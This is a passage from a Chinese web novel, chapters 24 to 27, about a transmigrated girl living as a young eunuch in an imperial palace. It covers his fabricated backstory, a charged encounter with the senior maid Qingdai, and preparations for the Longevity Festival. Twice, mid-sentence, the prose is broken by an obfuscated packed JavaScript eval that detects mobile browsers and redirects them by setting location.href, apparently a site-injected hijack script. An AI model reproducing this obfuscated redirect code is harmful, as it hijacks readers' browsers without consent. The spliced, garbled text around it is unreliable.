小离子的记忆碎片里,只有破败的茅屋,父母愁苦的脸,和“送进宫总比饿死强”的叹息,何曾有过半点关于读书识字的影子?青黛查到的,恐怕才是真相,一个家徒四壁,朝不保夕的农家,怎么可能有余力让一个并非独子的孩子去读书?更何况小离子还有那样一副好相貌,在贫困的农家,这或许反而是种负担,更容易被当作换取全家活路的货物。 “小……小的……”关禧的大脑飞速运转,喉咙干涩,他不能承认自己识字识数是穿越带来的,那只会被当作妖孽,必须有一个合理,至少听起来合理的解释。 电光火石间,他想起方才在废值房,小禄子他们闲聊时,似乎提过一句,宫里有些年老的太监或嬷嬷,闲极无聊时,会教身边机灵的小太监认几个字,算个数,权当解闷,也多个能使唤的帮手。 还有……王公公,王公公挑中他,或许不仅仅是因为脸,也可能暗中观察过,觉得他灵性? 他深吸一口气,强迫自己抬起头,迎上青黛探究的目光,眼中适时地流露出惶恐,忐忑,以及一丝被戳破隐秘般的羞愧,“回姐姐,小的家里确实不曾送小的读过书。爹娘常说,小的除了……除了这张脸还看得过去,性子木讷,手脚也不甚灵便,实在是……一无是处。” 他顿了顿,脸上泛起赧然的红晕,这倒有几分是真的,“只是……只是小的进宫前,在村里给镇上的杂货铺跑过几次腿,送过东西。那铺子的掌柜的,是个落第的老秀才,脾气古怪,但心肠不坏。他见小的还算老实,偶尔让小的帮他记个简单的流水,或是认认货签上的字……小的笨,学得慢,只硬记下了几个常写的字和数目。那老秀才说……说小的记性尚可,就是不开窍。” 他一边说,一边仔细观察着青黛的神色,见她面色平静,眼神专注,便继续艰难地编织下去,将部分真实与虚构混合:“后来……后来进了宫,在净舍时,有个管洒扫的、早年曾在司礼监外书房伺候过笔墨的老太监,姓什么小的都忘了,他年纪大了,眼睛不好,有时候让小的帮着看看墙上贴的规矩告示,念念给他听……小的就靠着那点底子,连蒙带猜,倒是……倒是又多认了几个字。再后来,到了派办处,整日对着那些单据账册,小的怕出错,更怕耽误差事挨罚,就……就格外留了心,偷偷瞧着别人怎么写,怎么算,晚上自己躲在被窝里,用手指头在床板上比划……日子久了,那些常见的字和数目,便……便勉强能应付了。” 他声音越说越低,头也重新垂了下去,姿态卑微:“小的愚笨,这些上不得台面的小伎俩,让姐姐见笑了。小的自知身份卑贱,能得娘娘和姐姐收留,已是天大的福分,绝不敢有丝毫欺瞒,更不敢……更不敢妄想什么。只是怕差事办不好,辜负了娘娘和姐姐的信任,所以才……才私下里多用了几分笨功夫。” 暖阁内一片寂静。 只有纱灯烛芯偶尔发出的细微哔剥声,和窗外极远处隐约传来的宫墙上的风铃声。 青黛静静地听着,脸上没什么表情。关禧的解释,听起来合情合理,一个容貌出众,家贫如洗的少年,为了在绝境中活下去,抓住一切微小的机会,拼命地学习那些原本不属于他的技能。 有漏洞吗?有。 比如那老秀才为何偏偏选中他?比如在净舍那种环境下,他哪来的时间和精力偷偷学习?比如他进步的速度是否太快了些? 但这些漏洞,在绝境求生和几分灵性的掩盖下,又都可以被模糊过去。更何况,他此刻这副惶恐不安急于剖白的样子,实在不像一个心机深沉能编造出完美谎言之辈。 更重要的是,青黛需要他的能力。无论这能力是如何来的,只要能用,且暂时可控,对她和冯昭仪而言,便是有价值的。 25.第 25 章 良久,青黛才轻轻吁出一口气,那声音极轻,打破了沉默。 “原来如此。”她淡淡道,听不出是信了还是没信,“倒是个知道上进的。在这宫里,有点自己的本事,总比浑浑噩噩强。只是,” 她话锋一转,语气陡然严厉了几分,“你需记住,你这点本事,是承华宫给你的机会,才得以施展。离了这里,离了娘娘的庇护,你便什么都不是。莫要以为识得几个字,算得清几笔账,就有了什么倚仗,或是……生了别的心思。” “小的不敢!小的万万不敢!”关禧连忙起身,跪倒在地,“小的的一切都是娘娘和姐姐给的,小的生是承华宫的人,死是承华宫的鬼!绝无二心!” 青黛凝视着伏在地上的关禧,那截从靛青旧衣领口露出的瓷白后颈,在昏黄纱灯下,仿佛轻轻一折就会断掉,她眼神幽深,缓缓绕过那张紫檀木圆桌,绣鞋踩在光洁的枰砖上,一步步靠近。 关禧额头抵在微凉的地面上,能清晰地听到自己的心跳,还有那越来越近的脚步声。他紧张地等待着预料中的训诫,或是冰冷的吩咐。 脚步声在他身前停下了。 预想中的居高临下并未到来。一阵极轻的衣料摩挲声后,他眼角的余光瞥见一片淡青色的裙裾铺散开来,落在离他手指不远的地面上。 青黛竟在他面前蹲跪了下来。 这个姿态,对于一个掌事宫女,对于一个在承华宫乃至后宫都颇有体面的青黛而言,太过放低,也太过……不合规矩。 关禧的心跳漏了一拍,几乎要屏住呼吸。 暖阁内寂静无声,只有两人轻浅不一的呼吸,在极近的距离里交织。 “抬起头来。”青黛的声音响起,比刚才在桌边时,更轻,也更柔,像羽毛拂过耳畔。 关禧指尖蜷缩,指甲抠进掌心,带来一丝尖锐的痛感,强迫自己从地上慢慢直起上半身。他依旧垂着眼,不敢与近在咫尺的她对视。 纱灯的光从侧面笼过来,将两人笼罩在一团朦胧的光晕里。青黛蹲跪着,目光落在他脸上,细细描摹过他轻颤的睫毛,苍白的脸颊,抿紧失了血色的唇。 然后,她抬起手。 那只手,指尖微凉,带着淡淡的皂角香气,轻轻落在了他的脸颊上。先是拇指的指腹,缓缓抚过他紧抿的唇角,力道很轻,却让关禧像被烫到般,肌肉绷紧。 “别动。” 她的指尖顺着他的下颌线,慢慢向上,拂过他细腻皮肤,最终停在他的眼尾。那里天生带着一抹微红的晕染,此刻在灯光下,更显潋滟。 “王公公挑人的眼光,确实毒。”青黛低语,指尖在他眼尾那抹红上极轻地蹭了蹭,像在触碰一件易碎的瓷器,“这张脸……生得真是处处都合人心意。” 她的触碰并不带狎昵,称得上轻柔,却比任何粗鲁的对待更让关禧感到恐惧和屈辱。那是一种评估,一种占有式的确认,一种将他物化的审视。更可怕的是,在这极近的距离,他能清晰地闻到她身上那股混合了檀香墨香与女子特有温软的气息,这气息无孔不入,冲击着他来自现代的灵魂认知,也隐隐搅动着这具年轻身体深处某种陌生的本能。 他死死咬着牙关,才能抑制住喉咙里即将冲出的喘息。 青黛察觉到了他的僵硬和抗拒,目光从他脸上移开,落在他因紧握而指节发白的手上,然后又缓缓抬起,重新看进他低垂的眼帘深处。 “怕我?”她问,声音里听不出情绪。 “……不敢。”关禧从牙缝里挤出两个字,声音干涩。 “是不敢,还是不会?”青黛的指尖终于离开他的脸颊,顺着他的鬓角,轻轻将他颊边一丝散落的发丝别到耳后,这个动作比之前的抚摸更显亲密。 她的指尖不可避免地擦过他的耳廓。 关禧猛地一颤,像受惊的兔子,终于控制不住地向后缩了一下,拉开了那令人窒息的距离。脸颊上被触碰过的地方,火烧火燎,连带着耳根都迅速染上了一层薄红。 青黛的手停在半空,看着他这激烈的反应,眼中掠过一丝难以解读的情绪,像是意外,又像是某种了然。 关禧急促地喘了几口气,才勉强压下那股翻涌的恐慌,重新伏低身体,“姐姐……小、小的身份卑贱,不敢污了姐姐的手……求、求姐姐……” “求我什么?”青黛打断他,语气恢复了平日那种带着距离感的平稳,她缓缓站起身,居高临下地看着再次伏在地上的关禧,仿佛刚才那个蹲跪下来,伸手触碰他的人从未存在过,“求我别碰你?还是求我……继续庇护你?” 关禧伏在地上,冷汗浸透了里衣。 “小的……只求能安稳当差,报答娘娘和姐姐恩德。” 青黛沉默了片刻,转身走回窗边的绣墩坐下。 那沉默沉甸甸地压在暖阁的空气里,比方才的触碰更让关禧心惊。他伏在地上,能想象青黛此刻脸上那无波无澜的神情出现了怎样细微的裂痕,或许唇角抿得更紧了些,或许眼神里那抹深潭水般的平静,起了她自己都未察觉的涟漪。 “……安稳当差。”青黛终于开口,声音比窗外的夜风更凉,一字一句,清晰地敲在关禧心上,“小离子,这宫里,想求一个安稳的人,多如过江之鲫。可真正能安稳的,有几个?” “我向娘娘开口将你要来承华宫,让你独居一室,不必与那些腌臜蠢物混在一处……我让你接触核心文书,给你在娘娘面前露脸的机会,甚至……” “今夜让你来这里,用娘娘赏的饭食。” “我做这些,你以为,只是为了让你安稳当差?还是你觉得,我青黛是那般闲极无聊,对谁都如此照拂的滥好人?” 关禧喉咙发紧,哑口无言。他当然知道不是。青黛的每一次伸手,都带着明确的目的和算计,将他一步步从泥淖里拉出,也一步步绑上承华宫,绑上她自己的船。这恩情,是绳索,也是枷锁。 “抬起头来。”青黛再次说道。 关禧依言,慢慢抬起头。这一次,他不得不真正地,面对面地看向青黛。 纱灯的光晕柔和地笼罩着她。她坐在窗边的绣墩上,身姿挺直,是多年严苛宫规训练出的无可挑剔的仪态。淡青色比甲衬得她肤色愈发白皙,是一种常年居于室内,精心保养出细腻的冷白。乌黑的头发绾成规整的髻,一丝碎发也无,露出光洁的额头和优美的鬓角线条。 他第一次,如此近距离地,认真地看清了她的脸。 不是倾国倾城,艳光四射的那种美。冯昭仪是水墨山水,清雅韵致,徐昭容是浓墨重彩,灼灼逼人。而青黛……她像一株生在深谷幽涧边的兰草,或是冬日覆雪的青竹,第一眼望去,只觉得干净,清冷,带着一种拒人千里的疏离感。眉形细长而略显锋利,鼻梁挺直,唇瓣薄,唇色是极淡的樱粉,不笑的时候,唇角自然下垂,更添几分肃穆。 可此刻,或许是因为暖阁光线柔和,或许是因为她眼中那抹罕见的不属于青黛的冷意,关禧忽然窥见了几分被那身规整服饰和冷肃气质掩藏起来的东西。 她的眼睛生得极好,是标准的凤眼,眼尾微微上挑,因为微妙的情绪,眼波流转间,清冷之下,竟有种勾人心魄的艳色。方才她指尖抚过他眼尾时,说他眼尾生得合人心意,此刻关禧才惊觉,她自己的眼尾,分明更胜一筹,只是平日被那过于端肃的神情掩盖了。 还有她的唇,虽然薄,形状却优美异常,微微抿着,那抹淡樱色也深了些许,让人莫名想起雪地里偶然瞥见的一点红梅蕊心。 肤白,貌美……身段被规矩的宫女服饰包裹着,看不真切,但方才她蹲跪下来时,那截从裙裾下露出穿着素白绫袜的脚踝,却是纤细玲珑,线条优美。 她其实……很好看。是一种需要仔细看,褪去那层掌事宫女外壳后才能发现的好看,清冷中藏着不自知的艳色。 关禧的心跳漏了几拍,随即是更深的慌乱。这慌乱不仅仅来自于对青黛权势的畏惧,更来自于他内心,那个十七岁女高中生的灵魂,在面对另一个容貌出色,气质独特的同性时,本能产生的,混合着欣赏忐忑和一丝羞怯的复杂情绪。以及,这具男性身体深处,那不受控制陌生而恼人的悸动。 “我……”关禧张了张嘴,声音干涩得厉害,“小的……不敢妄自揣测姐姐的心意。姐姐对小的恩重如山,小的……铭感五内。” “恩重如山?”青黛轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933498|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重复,唇角极淡地勾了一下,那笑意未达眼底,“我不要你铭感五内。我只要你一句实话。” 她身体微微前倾,目光如炬,锁定关禧闪烁不定的眼睛:“你看不上我?” 这话问得直接,甚至有些粗鲁,完全不像平日那个滴水不漏的青黛。 关禧脑中“轰”的一声,脸颊烫得惊人。 “不!不是!”他脱口而出,随即意识到反应过度,声音又低了下去,“姐姐……姐姐风华出众,品貌端方,是、是小的……是小的……” 他该如何解释?说他怕?怕她的身份,怕她的心机,怕这深宫吃人的规则?还是说他心里其实是个女的,对着她这样的同性美人,欣赏有之,害羞有之,但更多的是一种灵魂上的亲近与认同,而非这具身体可能被期待的那种兴趣?或者说,他厌恶这具身体可能产生的,不受他控制的反应,那让他觉得恶心,觉得玷污了这份欣赏? 这些话,半个字都不能说。 他深吸一口气,强迫自己冷静下来,抬眼,迎上青黛审视的目光,尽量让声音听起来诚恳,而非敷衍:“小的……是怕。” “怕?”青黛挑眉。 “是。”关禧点头,脸上红晕未退,眼神却努力保持清明,“小的怕自己愚钝粗陋,行事不当,玷污了姐姐的清誉,也辜负了姐姐的照拂。姐姐在小的眼中,如同……如同云端的明月,高山上的雪莲,小的敬之重之,唯恐有丝毫冒犯。姐姐对小的好,小的并非铁石心肠,岂能不知?只是小的出身卑贱,又经历了那些事,”他含糊地带过净身之事,“自觉……污秽不堪,配不上姐姐的垂青。且宫中耳目众多,规矩森严,小的更怕……怕自己一时不慎,给姐姐招来祸患。” 他顿了顿,补充道:“小的从未敢仔细看过姐姐。方才一看,才知姐姐原来这般好看。比小的想象中,还要好看得多。” 最后这句话,他说得极轻,却无比清晰。 暖阁内再次陷入寂静。 青黛脸上的冰冷有一瞬间的凝滞,随即,那层坚冰般的表情以肉眼可见的速度融化,虽然并未露出笑容,但眼神里的锐利和寒意,却缓和了许多。她微微偏过头,避开了关禧过于直白的目光,耳根处,也泛起了一丝极淡的红晕。 “油嘴滑舌。”她低声啐了一句,语气已不复刚才的冰冷,甚至带上了点连她自己都未察觉的嗔意,“谁要你配得上了?谁又……垂青你了?” 这话与其说是反驳,不如说是某种程度的默认和退让。 关禧心头一松,知道自己这番半真半假,以退为进的话,至少暂时稳住了局面。他连忙再次低下头,做出恭顺羞惭的模样:“是小的僭越,胡言乱语,姐姐恕罪。” 青黛没有再追究,她站起身,走到桌边,开始收拾那些碗碟,动作恢复了平日的利落沉稳,仿佛刚才那段近乎剖白心迹的对话从未发生。 “记住你今天说的话。”她背对着关禧,声音平静,“在这宫里,光有怕和敬是不够的。你得知道自己要什么,也得知道别人想从你这里要什么。” 她将碗碟放回托盘,端起,转身看向仍跪在地上的关禧:“起来吧。回去歇着。万寿节前,别再到处乱跑,尤其是不该去的地方。” 她意有所指地看了他一眼,显然知道他今日去了废值房赌钱的事。 关禧连忙应是,从地上爬起来。 青黛不再看他,端着托盘,步履从容地走出了暖阁,淡青色的身影很快融入廊下更深沉的夜色里。 关禧独自站在暖阁中,过了好一会儿,才缓缓吐出一口憋了许久的气。 脸上热度未退,心跳依旧紊乱。青黛最后那几句话,在他脑中反复回响。 要什么?他想回家,想摆脱这具身体和这个身份,这几乎是不可能的奢望。那么退而求其次,他想活着,想有尊严地活着,想不被当成玩物或棋子。 而青黛,或者说冯昭仪,想从他这里要什么?一把好用的刀?一个可能用来固宠或打击对手的工具?还是一个……排解深宫寂寥的慰藉? 他抿了抿唇,抬手摸了摸自己方才被青黛指尖抚过的脸颊和眼尾。 那触感似乎还在,微凉。 26.第 26 章 离万寿节,只剩两日了。 宫中的气氛,宛若一张绷至极限的弓弦,紧得仿佛能听见细微的颤音。空气里混杂着硝石新漆与新鲜木料的气味。自太和殿至交泰殿,从御花园到各处宫门廊庑,随处可见匠人内监与宫女往来穿梭的身影。彩绸高悬,宫灯逐一试亮,金漆描画之处熠熠生辉,连平日不起眼的石阶角落亦被反复冲刷。教坊司的丝竹乐声日夜不绝,那恢弘而庄重的庆典乐章,隔着重重宫墙,一遍又一遍地漫入各宫各院,挥之不去。 承华宫协理六宫之事,身为昭仪居所,更是诸事汇集之地。前殿后院,人影匆匆,步履皆带着急促。冯媛虽不必亲自监察每一处细节,但所有最终呈报的文书条目,皆须经她过目定夺。青黛更是忙得几乎无片刻停歇,前殿,内务府,乃至皇后宫中,皆需她往来传话协调,脸上那层惯有的沉静也淡了些许,眉目间隐约透出倦意。 关禧所在的西侧书斋,眼下堆满了与万寿节最终定案相关的卷宗,宴席流程的最终核定,内外命妇朝贺的座次图,赏赐物品的详细名录及发放细则,宫中各处庆典期间值守与轮替的最终安排……这些文书已历经多轮核查修订,如今堆积在他案头,需要做最后的归档,誊录清本,以及查漏补缺。 他的工作,与其说是创造或决策,不如说是一台精密的人肉校对与归档机器。确保每一字,每一数,每一职衔皆与定稿无误,格式合乎规制,卷页完整无缺。此乃最是繁琐耗神,亦最不容有失的一环。倘在万寿节那般场合察出纰漏,便是天大的过失。 关禧埋首案牍,几乎感觉不到时间的流逝。窗外明暗交替,廊下宫灯早早亮起。蘸墨,书写,核对,翻阅旧档比对,再书写……重复的动作让他的手腕酸痛,眼睛也因长时间凝视蝇头小楷而干涩发花。但他不敢有丝毫懈怠。这不仅关乎承华宫的体面,也关乎他自己的生死,青黛将他放在这个位置,是信任,更是考验。任何一点瑕疵,都可能成为别人攻击承华宫,或者攻击他本人的借口。 他看到了玉芙宫额外添置的戏台陈设清单,数目奢华;看到了皇后宫中批复关于某些低位妃嫔座次调整的模糊指示;看到了内务府呈报一批由江南织造紧急增补的绸缎入库记录,其中一部分标注的用途颇为隐晦……这些信息碎片在他脑中掠过,被他强行按下,专注于眼前的字里行间。 万寿节,是皇帝的庆典,也是后宫各方势力角力与展示的舞台。每一处细节,都可能暗藏机锋。 终于,在万寿节前一天的下午,关禧将最后一册核对无误,誊录工整的赏赐名录清本合上,轻轻放在了已摞起半尺高的文书堆最上方。 他长长地舒了一口气,向后靠在坚硬的椅背上,闭了闭干涩发烫的眼睛。 完成了。 书斋内异常安静,只有窗外隐约传来远处宫苑最后的忙碌声响。夕阳的金红色余晖透过窗棂,在书案和堆满卷宗的书架上投下长长的光斑,空气中的尘埃在光柱中缓缓舞动。 他缓缓站起身,活动了一下僵硬的脖颈和手腕,开始有条不紊地收拾书案。将用过的毛笔洗净,挂在笔架上;将砚台里的残墨处理干净;将散落的纸张归拢整齐;把那些已完成归档的文书,分门别类地放入指定的紫檀木匣中,匣盖上贴着不同的签条。 这些木匣,明日一早,便会由青黛或她指定的人,分别送至内务府,皇后宫中以及冯昭仪处备案留存。 收拾的过程缓慢而细致。 当书案重新变得整洁空旷,只剩下那盏黄铜烛台和一本他平日里随手翻阅,用以核对生僻字或典章的旧书时,关禧的动作顿了顿。 他的目光落在窗外那抹即将消逝的晚霞上,又缓缓移回空荡荡的书案。 青黛。 这两个字无声地划过心间。这些时日,她无疑是承华宫最忙碌,压力最大的人之一。她的身影总是匆匆,她的指令简洁明确,她的眼神在疲惫之下依旧锐利清醒。那晚暖阁中异常的靠近与质问,仿佛只是一场模糊而惊心的梦,被接踵而来的繁杂事务冲淡,却又在某些独处的瞬间,悄然浮现。 他想起她指尖微凉的触感,想起自己那句未经思考的“这般好看”。 一种冲动,毫无征兆地攫住了他。 他重新坐下,抽出一张裁剪整齐,质地细腻的素笺,这是誊录重要文书时才会用的好纸。他拿起那支刚刚洗净,笔尖尚且湿润的紫毫小楷,略一沉吟,蘸了墨,悬腕,落笔。 不是他自己作诗。来自现代的关禧,背过不少诗词,但限于应试范围,且多为名篇中的名句。让他凭空创作一首符合此时心境,又不逾矩的七律或绝句,那是万万不能。但脑海中的库存里,恰好有一首,似乎隐隐契合他此刻某种难以言说的心绪,也或许,能隐晦地向那个身处漩涡中心,同样疲惫而孤清的人,传递一丝超越身份与境遇的理解与……慰藉。 他写得极慢,极认真,每一个字都力求工整隽秀。 君问归期未有期, 巴山夜雨涨秋池。 何当共剪西窗烛, 却话巴山夜雨时。 没有署名,没有落款。只有这四行清瘦工整的楷书,静静地躺在素白的纸笺上。 归期未有期。他关禧的归期在何方?是渺茫不可知的现代,还是这深宫之外的自由天地?亦或是,仅仅是从这无休止的文书劳形与人心算计中,片刻的喘息? 巴山夜雨,秋池涨满。恰似这宫廷中无处不在的压抑,漫溢心头。 何当共剪西窗烛,却话巴山夜雨时。这是一种遥远的希冀,在孤寂中,对未来能够坦然倾诉的陪伴的想象。无关风月,至少不全是。更像是一种灵魂层面的共鸣,渴望在历经风雨后,能有一个平静的角落,一盏温暖的灯,一个可以却话当年夜雨的人。 青黛能看懂吗?她会如何理解? 关禧不知道。他只知道,自己想写,便写了。 墨迹渐干。他将诗笺小心地拿起,轻轻吹了吹,然后夹进了那本他常翻的旧书里,那是一本前朝文人编纂的《雅音辑略》,收录的多是些清雅闲适的诗词歌赋,青黛有时会来取阅。放在这里,她若是来寻书,或许能看到;若是看不到,也罢。 做完这一切,他再次检查了一遍书斋,确认一切井井有条,火烛已灭,这才轻轻带上房门,走了出去。 廊下宫灯已燃,晕开团团暖光。前殿方向还有隐约的人声,大约是青黛或冯昭仪还在处理最后的事务。 关禧侧耳听了听,模糊的人声隔着庭院和回廊传来,听不真切,也辨不出是谁。 他对那边的事没什么兴趣,或者说,他强迫自己不要有太多兴趣。知道的越多,牵扯越深,便越难脱身。眼下他只觉得胃里空空荡荡,一阵紧似一阵的抽搐感提醒着他,该去用晚饭了。 这个身体……关禧抿了抿干燥的嘴唇,心底涌起一丝烦躁。小离子这具身体,许是前些年亏空得太厉害,又正卡在十五六岁抽条长个的年纪,自从伤口养好,饮食稍见油水后,便像填不满的无底洞,时常不到时辰就饿得前胸贴后背,消化得也快。明明晚膳的钟点刚过不久,此刻腹中的空虚感却已如此鲜明。 他按了按隐隐作痛的胃部,不再耽搁,转身朝着后院膳房的方向加快脚步。 越是临近万寿节,各处的规矩也更严了些。平日这时辰,后院或许还有些喧嚣,此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936719|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却异常安静。穿过一道月亮门,便闻到了属于大锅饭菜的气味,油脂,盐酱,米面蒸腾的混合味道,谈不上多好闻,却实实在在勾动着辘辘饥肠。 太监用膳的棚屋比往常更显拥挤。因着节前事务繁杂,许多人当差结束得晚,都聚在这里,埋头对付着碗里的食物。 关禧刚走到门口,便感觉到几道视线或明或暗地扫了过来。有好奇,有打量,也有不加掩饰的冷漠。他恍若未觉,低着头,径直走向领取饭食的窗口。 今日的菜色比昨日又好了些,大锅里的杂烩菜能见到些零星的肉末,贴在桶壁上的黄面馍馍也似乎比往常大了半圈。掌勺的太监瞥了他一眼,没说话,只按例舀了满满一勺杂烩菜扣进他的粗陶碗里,又拣了两个最大的馍馍放在碗沿。 关禧低声道了谢,端着沉重的陶碗,目光在拥挤的棚屋内扫视,想找个稍微僻静的角落。 大多数条凳都已被占满。他看到了曹旺那伙人,坐在靠近柱子的一桌,曹旺正对着旁边的人唾沫横飞地说着什么,眼角余光瞥见他,声音顿了一下,随即又若无其事地转开,只是那眼神里的阴郁,在昏黄灯光下像结了层薄冰。 关禧不想惹事,正打算绕开,见靠墙的一张条凳旁——陈立德,承华宫的掌事太监之一,刚好吃完,正用帕子慢条斯理地擦着嘴。他身边往常围着的人都不在,只他一人。 陈立德也看到了关禧,那双眼在他脸上和手里的碗上转了转,没什么表情,却几不可察地用下巴点了点自己对面的空位。 关禧略一迟疑。陈立德虽对他不冷不热,偶有刁难,但毕竟是承华宫的老人,是冯昭仪从潜邸带来的,地位不同。他主动示意,不好拒绝。 他端着碗走过去,在陈立德对面坐下,将碗筷放好,低声道:“陈公公。” 陈立德“嗯”了一声,将帕子收进袖中,目光扫过关禧碗里堆尖的饭菜,扯了扯嘴角:“年轻,是能吃。”语气听不出是随口一说还是别有意味。 关禧掰开一个黄馍馍,热腾腾的蒸汽混着麦香扑面而来,他实在饿得狠了,也顾不得许多,先咬了一大口,粗糙的麸皮刮过喉咙,混合着唾液,带来实实在在的饱足感,才就着咸涩的杂烩菜咽下去。 “刚忙完书斋的活儿?”陈立德没急着走,手指在油腻的桌面上无意识地敲了敲。 关禧咽下嘴里的食物,恭敬答道:“回公公,是,刚将明日要归档的文卷理清。” “理清了就好。”陈立德目光望向棚屋外沉沉的夜色,声音压得低了些,像是自言自语,又像是说给关禧听,“万寿节是个大坎儿,过得去,阖宫上下都能喘口气,过不去……嘿嘿。”他干笑两声,没说完,转而道,“咱们承华宫,万事求个稳当,不出头,也不落人后。你如今在娘娘和青黛姑娘跟前走动,更得记牢了。有些事,看见了当没看见,听见了,也得烂在肚子里。” 关禧咀嚼的动作慢了一拍,抬眼看向陈立德。对方却不再多说,只站起身,掸了掸袍子。 “玉芙宫那边,今儿下午动静不小。”陈立德临走前,像是忽然想起什么无关紧要的闲话,“一套上好的雨过天青瓷,说砸就砸了……烈火烹油,也得小心烧干了锅底。” 说完,他也不看关禧的反应,背着手,迈着惯常的方步,踱出了棚屋。 关禧独自坐在条凳上,指尖无意识地摩挲着粗陶碗沿粗糙的缺口。胃里被食物填满了,暖烘烘的,可陈立德最后那几句意有所指的话,却像一缕钻进骨头缝里的夜风,带着刺人的寒意。砸瓷器……徐昭容为何发这么大火?是因为万寿节筹备不顺,还是别的? 他收拾好自己的碗筷,也离开了膳棚。 27.第 27 章 万寿节这日,天还未亮。 承华宫前殿已灯火通明,脚步杂沓,环佩轻响。 关禧在自己的小屋里就能清晰地感受到那份紧绷的忙碌。他按规矩起身洗漱,换上那套相对较新的靛青色太监服,束好头发,将自己收拾得干净利落,然后便安静地待在房中。 冯昭仪与青黛一早就出去了。作为协理六宫的妃嫔,冯媛需在天明前抵达交泰殿,青黛作为心腹,自然寸步不离。陈立德也带着几个得用的太监随侍仪仗。偌大的承华宫,被抽走了主心骨,只剩下他们这些留守的低等内侍和粗使宫女。 关禧按青黛昨日的吩咐,留在书斋候命。实际上,万寿节当天,所有典礼宴饮皆有固定流程与专人负责,他这样一个负责文书的小太监,并无用武之地。所谓的候命,更像是一种保护性的闲置,将他与外面的喧闹和潜在的风险隔离开来。 辰时,隐约的钟鼓乐声自前朝方向传来,沉浑庄严,穿透层层宫墙。那是皇帝在太极殿接受百官朝贺了。 关禧推开书斋的窗,遥望那个方向。 天空是庆典日特有的被无数旗帜与彩绸映照出的亮色。他能想象那白玉阶下黑压压的朝服,山呼万岁的声浪,也能想象后宫交泰殿前,凤冠霞帔的皇后领着如云的美人,向永寿宫方向行礼如仪。 那是另一个世界,与他隔着天堑。 书斋里异常安静。昨日整理好的紫檀木匣已被取走,案头空荡,只有笔墨纸砚,和那本夹着诗笺的《雅音辑略》。 关禧走过去,手指拂过书脊,最终没有翻开。 无事可做。紧绷了多日的神经骤然松弛,他回到自己那间小屋,和衣躺在了硬板床上。外面隐约的乐声,人声,像是隔着一层厚厚的毡子,模糊而不真切。他闭上眼睛,竟真的睡着了。 这一觉睡得并不安稳,光怪陆离的梦交织着现实与过往。一会儿是数学卷子上扭曲的符号,一会儿是停尸房冰冷的草席和剧痛,一会儿是青黛在浴堂门口提着灯的清冷面容…… 再次醒来时,已是日上三竿。阳光透过窗纸,在室内投下明亮的光斑。 关禧坐起身,发了会儿呆。腹中传来清晰的饥饿感。节日的恩典之一,便是今日的伙食会比平日更好,且供应时间也宽松些。 他下床,慢慢踱到后院膳房。 果然,大锅里炖着油汪汪的红烧肉,掺着豆腐和粉条,香气扑鼻。蒸笼里是雪白的开花馒头,还有一桶飘着油花的蛋花汤。留守的太监宫女们三三两两地聚在一起,脸上带着难得的轻松,低声说笑,交换着听来的前朝或后宫庆典的零碎消息。 “听说陛下在宴上夸了徐昭容娘家献上的贺礼,是一尊整玉雕的寿星献桃!” “太极殿前的百戏表演可精彩了,有西域来的幻术师,能凭空取火!” “皇后娘娘今日的气色瞧着真好,那身明黄礼服,听说绣了整整一年……” 关禧默默打了一份饭菜,拣了个无人的角落坐下,安静地吃着。红烧肉肥腻,馒头松软,蛋花汤寡淡,确实是过节的味道。他吃得很快,吃完便起身离开,没有参与任何闲聊。 回到小屋,困意再次袭来。或许是前些时日太过耗神,又或许是这刻意营造的节日悠闲氛围本身就像一种麻醉。他再次躺下,竟又沉沉睡去。 这一觉直接睡到了申时。 醒来时,夕阳西斜,将窗纸染成温暖的橙红色。庆典的乐声似乎更清晰了些,还夹杂着隐约的鞭炮和欢呼声,想来是宫宴正酣,或者有什么特别的节目。 关禧揉了揉额角,起身用冷水洗了把脸。清醒后,那种无所事事的空虚感更明显了。他在狭小的房间里踱了两步,推开房门。 承华宫的前半部分依旧静悄悄的,只有廊下几盏宫灯早早亮起,在渐浓的暮色中晕开暖黄的光。大部分留守的宫人,此刻大约也聚在膳房或各自住处,享受着这难得的,无人管束的闲暇。 他信步走到庭院中。夕阳的余晖给殿宇的飞檐翘角涂上金边,院中的花木也被镀上一层柔光。白日里有人简单洒扫过,地面干净,草木整齐。他走到那日与青黛说话的回廊下,倚着朱漆柱子,望着天边最后一抹亮色。 冯昭仪和青黛她们,此刻应该在后宫夜宴上吧?面对满座珠翠,应对各方机锋,保持恰到好处的微笑与仪态。那是什么样的光景?会比这里更安全吗? 他摇摇头,甩开这些无谓的思绪。 天色完全黑透时,他才感到腹中又有些空了。晚膳的时辰早已过去,但今日特殊,膳房应该还有些残羹剩饭。 他再次走向后院。越靠近膳房区域,越能听到隐约的,比白日更放肆些的笑闹声,空气中除了饭菜香,似乎还飘着一丝……酒气? 关禧脚步微顿。宫中严禁下人私自饮酒,尤其是万寿节这等大典之日,巡查更严。谁这么大胆? 他刚走到膳棚门口,里面的说笑声便戛然而止。 棚内点着几盏油灯,光线昏暗。只见曹旺正坐在当中一张桌子旁,面前摆着几个空盘,还有一个粗糙的陶制酒壶,两个酒碗。他脸上泛着不正常的红光,眼神也有些飘,显然是喝了酒。他旁边还坐着两个平日与他交好的太监,也都面带酒意,此刻看到关禧,神色各异。 